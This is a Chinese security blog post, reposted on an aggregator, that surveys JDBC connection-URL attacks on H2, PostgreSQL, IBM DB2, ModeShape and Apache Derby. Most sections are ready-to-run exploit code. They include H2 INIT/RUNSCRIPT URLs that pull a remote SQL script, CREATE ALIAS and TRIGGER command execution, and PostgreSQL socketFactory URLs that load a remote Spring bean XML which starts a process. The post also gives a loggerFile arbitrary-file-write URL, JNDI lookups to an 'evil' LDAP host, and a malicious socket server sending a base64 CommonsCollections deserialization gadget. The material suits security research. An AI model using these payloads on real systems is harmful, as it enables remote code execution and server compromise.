首页 > 数据库 >JDBC数据库汇总Attack研究

JDBC数据库汇总Attack研究

时间：2024-04-18 20:55:38浏览次数：29  
标签：JDBC java String 0.1 数据库 Attack jdbc sql import

前言

针对除Mysql的其它数据库的jdbc attack分析

H2 RCE

介绍

H2 是一个用 Java 开发的嵌入式数据库，它本身只是一个类库，即只有一个 jar 文件，可以直接嵌入到应用项目中。H2 主要有如下三个用途：

  1. 第一个用途，也是最常使用的用途就在于可以同应用程序打包在一起发布，这样可以非常方便地存储少量结构化数据。
  2. 第二个用途是用于单元测试。启动速度快，而且可以关闭持久化功能，每一个用例执行完随即还原到初始状态。
  3. 第三个用途是作为缓存，即当做内存数据库，作为NoSQL的一个补充。当某些场景下数据模型必须为关系型，可以拿它当Memcached使，作为后端MySQL/Oracle的一个缓冲层，缓存一些不经常变化但需要频繁访问的数据，比如字典表、权限表。

搭建

下载：http://www.h2database.com/html/download.html
看说明书搭建就行

INIT RunScript RCE

在H2数据库进行初始化的时候或者当我们可以控制JDBC链接时即可完成RCE，并且有很多利用，首先就是INIT,进行H2连接的时候可以执行一段SQL脚本，我们可以构造恶意的脚本去RCE

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException{Runtime.getRuntime().exec(cmd);return "hacker";}';CALL EXEC('calc')

控制JDBC URL为jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'，点击连接，即可弹出计算器，这种方法得需要账号密码正确

Alias Script RCE

假如可以执行任意H2 SQL的语句，那么也可以完成RCE，其实上述的INIT实质上也就是执行任意H2的sql语句。而执行语句也有很多讲究。对于上述的INIT需要出网，而我们可以利用加载字节码达到不出网RCE的效果，类似于SPEL以及OGNL注入内存马。
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('whoami');

TRIGGER Script RCE

除了Alias别名还可以用TRIGGER去手搓groovy或者js代码去rce，但是groovy依赖一般都是不会有的，所以js是更加通用的选择

// groovy
Class.forName("org.h2.Driver");
String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";
String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

// js
CREATE TRIGGER poc2 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc") $$;

TRIGGER没法在INIT处使用

PostgreSQL JDBC RCE

socketFactory/socketFactoryArg RCE

环境搭建

<dependency>
  <groupId>org.postgresql</groupId>
  <artifactId>postgresql</artifactId>
  <version>42.3.1</version>
</dependency>
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-context-support</artifactId>
  <version>5.3.23</version>
</dependency>

package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
        Connection connection = DriverManager.getConnection(jdbcUrl);
        connection.close();
    }
}

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:p="http://www.springframework.org/schema/p"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
  http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder">
    <constructor-arg value="calc.exe" />
    <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

postgresql数据库自己搭建，运行代码即可弹出计算器

调用流程

一张图概括postgres jdbc攻击流程（先知社区的引用一下，如有侵权联系博主删除

在psql的jdbc初始化的时候会读取jdbc链接里的某些参数，并且进行一些操作，断点调试，跟着图中流程走


进入makeConnection，过，到这

进入openConnection

进入openConnectionImpl

进入getSocketFactory，注意这个传入的info就是上面的props

这里开始从info中获取信息，先获取的socketFactoryClassName然后进入instantiate

实例化org.springframework.context.support.ClassPathXmlApplicationContext，传入的args是http://127.0.0.1:8888/bean.xml，实例化我们自定义的bean，造成了rce

sslfactory/sslfactoryarg RCE

跟上面流程差不多，不过这里得注意postgresql数据库得开启ssl，配置文件里设置ssl=on

package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
//        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
        Connection connection = DriverManager.getConnection(jdbcUrl);
        connection.close();
    }
}

loggerLevel/loggerFile 任意文件写入

package com.ctf;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class PsqlJdbcRce {
    public static void main(String[] args) throws SQLException {
//        String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
//        String socketFactoryArg = "http://127.0.0.1:8888/bean.xml";
////        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg;
//        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/postgres/?sslfactory="+socketFactoryClass+"&sslfactoryarg="+socketFactoryArg;
//        Connection connection = DriverManager.getConnection(jdbcUrl);
//        connection.close();
        String loggerLevel = "debug";
        String loggerFile = "test.txt";
        String shellContent="test";
        String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
        Connection connection = DriverManager.getConnection(jdbcUrl);
    }
}

可以实现跨目录写文件

IBM DB2 JDBC JNDI RCE

环境搭建

<dependency>
  <groupId>com.ibm.db2</groupId>
  <artifactId>jcc</artifactId>
  <version>11.5.0.0</version>
</dependency>

docker拉个DB2数据库
docker pull ibmoms/db2express-c
docker run -itd --name db2 --privileged=true -p 50000:50000 -e DB2INST1_PASSWORD=db2admin -e LICENSE=accept ibmoms/db2express-c db2start

package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class DB2JDBCRCE {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("com.ibm.db2.jcc.DB2Driver");
        DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1099/evil;");
    }
}

调试流程

经过一系列不知道什么的东西，最终定位到com.ibm.db2.jcc.am

达到jndi的效果

ModeShape JDBC JNDI RCE

介绍

ModeShape是一个分层的、事务性的、一致的数据存储库，支持查询、全文搜索、事件、版本控制、引用和灵活的动态模式。它非常快，高可用性，高度可伸缩，并且是100%开源的，用Java编写的。客户端使用(JSR-283)标准的Java API或者ModeShape的Rest API，可以通过JDBC和SQL查询内容。

环境搭建

<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-jdbc</artifactId>
    <version>5.4.1.Final</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.modeshape/modeshape-common -->
<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-common</artifactId>
    <version>5.4.1.Final</version>
</dependency>

package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class modeshapJNDI {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("org.modeshape.jdbc.LocalJcrDriver");
        DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1099/evil");
    }
}

流程分析


进入createConnection

进入initRepository，触发lookup

Apache Derby

环境搭建

<dependency>
    <groupId>org.apache.derby</groupId>
    <artifactId>derby</artifactId>
    <version>10.10.1.1</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

攻击流程

准备一个恶意Socket服务端

package com.ctf;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;
import java.util.concurrent.TimeUnit;

public class EvilServer {
    public static void main(String[] args) throws IOException, InterruptedException {
        int port = 4851;
        ServerSocket server = new ServerSocket(port);
        Socket socket = server.accept();
        // CC6
        String evil="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==";
        byte[] decode = Base64.getDecoder().decode(evil);
        // 直接向 socket 中写入
        socket.getOutputStream().write(decode);
        socket.getOutputStream().flush();
        Thread.sleep(TimeUnit.SECONDS.toMillis(5));
        socket.close();
        server.close();
    }
}

package com.ctf;

import java.sql.DriverManager;
import java.sql.SQLException;

public class demo {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
//        DriverManager.getConnection("jdbc:derby:dbname;create=true");
        DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1");
    }
}

这里先执行create=true，然后在执行下面这句，可以弹计算器
ReplicationMessageTransmit下的readMessage方法会对socket连接拿到的数据直接进行反序列化

标签：JDBC,java,String,0.1,数据库,Attack,jdbc,sql,import
From： https://www.cnblogs.com/F12-blog/p/18144377

相关文章

  • 达梦数据库（DM8）安装
    达梦数据库（DM8）安装一、安装部署1.1下载本手册版本选择“DM8开发板”，CPU平台选择“X86”，操作系统选择“RedHat7”下载地址：https://www.dameng.com/DM8.html~]#wgethttps://download.dameng.com/eco/adapter/DM8/202401END/dm8_20240116_x86_rh7_64.zip1.2创建安装用户......
  • MSSQL 数据库服务器磁盘空间报警 -
    如服务器上有创建MSSQLReplication，则会自动创建distribution数据库，有时distribution数据库日志文件过大解决方案：1.第一种方案：查看日志大小， dbccsqlperf(logspace)，查看哪个数据库日志文件过大，如果有数据库日志文件非常大，就需要通过检查日志的VLF使用情况来进行诊断，日志文件......
  • 数据库批量更新
    原文地址：https://www.cnblogs.com/exmyth/p/5757137.html mybatis实现批量更新 更新单条记录 1UPDATE course SET name = 'course1' WHERE id = 'id1';   更新多条记录的同一个字段为同一个值 1UPDATE course SET......
  • 构建RAG应用-day01: 词向量和向量数据库 文档预处理
    词向量和向量数据库词向量（Embeddings）是一种将非结构化数据，如单词、句子或者整个文档，转化为实数向量的技术。词向量搜索和关键词搜索的比较优势1：词向量可以语义搜索比如百度搜索，使用的是关键词搜索。而词向量搜索，是对句子的语义进行搜索，他会找到意思相近的前k个句子。优势2：词......
  • Centos系统彻底卸载MySQL数据库
    一、检查系统是否安装了MySQL数据库命令：rpm-qa|grep-imysql  二、关闭MySQL服务命令：servicemysqlstop三、卸载并删除MySQL(不检查依赖关系)卸载common命令：rpm-ev--nodepsmysql-community-common-8.0.29-1.el7.x86_64  卸载libs命令：rpm-ev--nodepsmysql-......
  • Go 单元测试之Mysql数据库集成测试
    目录一、sqlmock介绍二、安装三、基本用法四、一个小案例五、Gorm初始化注意点一、sqlmock介绍sqlmock是一个用于测试数据库交互的Go模拟库。它可以模拟SQL查询、插入、更新等操作，并且可以验证SQL语句的执行情况，非常适合用于单元测试中。二、安装gogetgithub.com/......
  • 快速测试连接SQLServer数据库的方法
    微软的SQLServer数据库应该是中小企业中使用最多的数据库，一般个人测试环境也都是用的它。下面介绍一种快速测试SQLServer数据库连接性的方法：1.新建一下记事本，将后缀名修改为udl；2.选中当前文件，右键打开文件属性，点选“提供程序”，选中MicrosoftOLEDBProviderforSQLServ......
  • 活动报名 | 如何进行全增量一体的异构数据库实时同步
    伴随着新技术的不断涌现，市场竞争也在不断开辟新的角斗场——新的业务需求，新的应用设想都在这里迸发。面对如此日新月异的竞争环境，企业的当务之急，是为新应用扎根准备好随时可取、准确一致的高质量数据土壤。在这样的背景下，很多传统关系型数据库的限制性开始显现。出于提高性能、......
  • mysql 数据库性能分析工具简介
    分析sql性能整体步骤观察服务器状态(系统性能)，看是否存在周期性波动。如果存在波动，则可以增加缓存或修改缓存失效策略。如果没有周期性波动，而是不规则的延迟或卡顿，又或者是添加了缓存或修改了缓存失效策略之后问题仍然未解决，我们就可以开启慢查询功能，通过慢查询日志找到执行......
  • 解决C# 连接MYSQL数据库查询数据时 Unable to convert MySQL date/time value to Syst
    C#读取MySql时，如果存在字段类型为date/datetime时的可能会出现以下问题“UnabletoconvertMySQLdate/timevaluetoSystem.DateTime”原因：可能是该字段（date/datetime）的值默认缺省值为：0000-00-00/0000-00-0000:00:00,这样的数据读出来转换成System.DateTime时就会有问题；解......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99